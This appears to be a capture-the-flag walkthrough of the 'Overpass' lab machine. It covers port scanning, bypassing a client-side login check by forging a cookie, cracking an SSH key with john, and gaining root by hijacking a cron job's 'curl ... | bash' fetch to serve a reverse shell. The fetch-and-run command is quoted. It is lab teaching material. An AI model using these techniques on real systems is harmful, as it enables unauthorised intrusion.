Overpass

Task 1: Overpass

Hack the machine and get the flag in user.txt

  • Let's run a nmap scan against the machine.

  • There are two open ports:

Port
Service

22

ssh

80

http

  • Let's visit the machine using our browser.

  • There is nothing of use here.

  • Let's use gobuster to perform directory brute forcing.

  • Let's go to the /admin page.

  • We can view the source code using CTRL+U.

  • Let's view the /login.js file.

  • In this code, the login() function is what is important.

  • It takes the username and password from the user and then creates an object cred with them.

  • It then checks if the response includes the phrase Incorrect Credentials.

  • If it doesn't, then the session cookie is set to the received value and we are redirected to /admin.

  • This is the bug we are going to exploit.

  • Let's go to the Developer Tools > Storage tab.

  • We can create a new cookie using the + sign in the right hand corner.

  • Let's refresh the page.

  • We get an encrypted key. Let's save the key to a file called rsa_key.

  • Next using ssh2john.py, to create a hash of the encrypted key.

  • Let's now use john to crack the hash.

  • Let's give the rsa_key file elevated permissions.

  • We can now login as james using the rsa_key.

  • We have to first check the contents in the directory.

  • Let's cat the user.txt file.

Answer

Escalate your privileges and get the flag in root.txt

  • There was another file, called todo.txt. Let's see what is in it.

  • So we know that the builds are not going to the website.

  • Let's check the CRON jobs.

  • We have to change the IP address that is mapped to overpass.thm to our IP address so that when the curl overpass.thm/downloads/src/buildscript.sh | bash command is run, it will run the file hosted by us.

  • Now we have to create the necessary directories inside /var/www/html/.

  • Now let's create a buildscript.sh file.

  • We need to include a reverse shell in it.

  • Let's restart apache2.

  • Finally we need to listen using nc. After a while, we will get the shell.

  • Let's read the root.txt file.

Answer

Last updated

Was this helpful?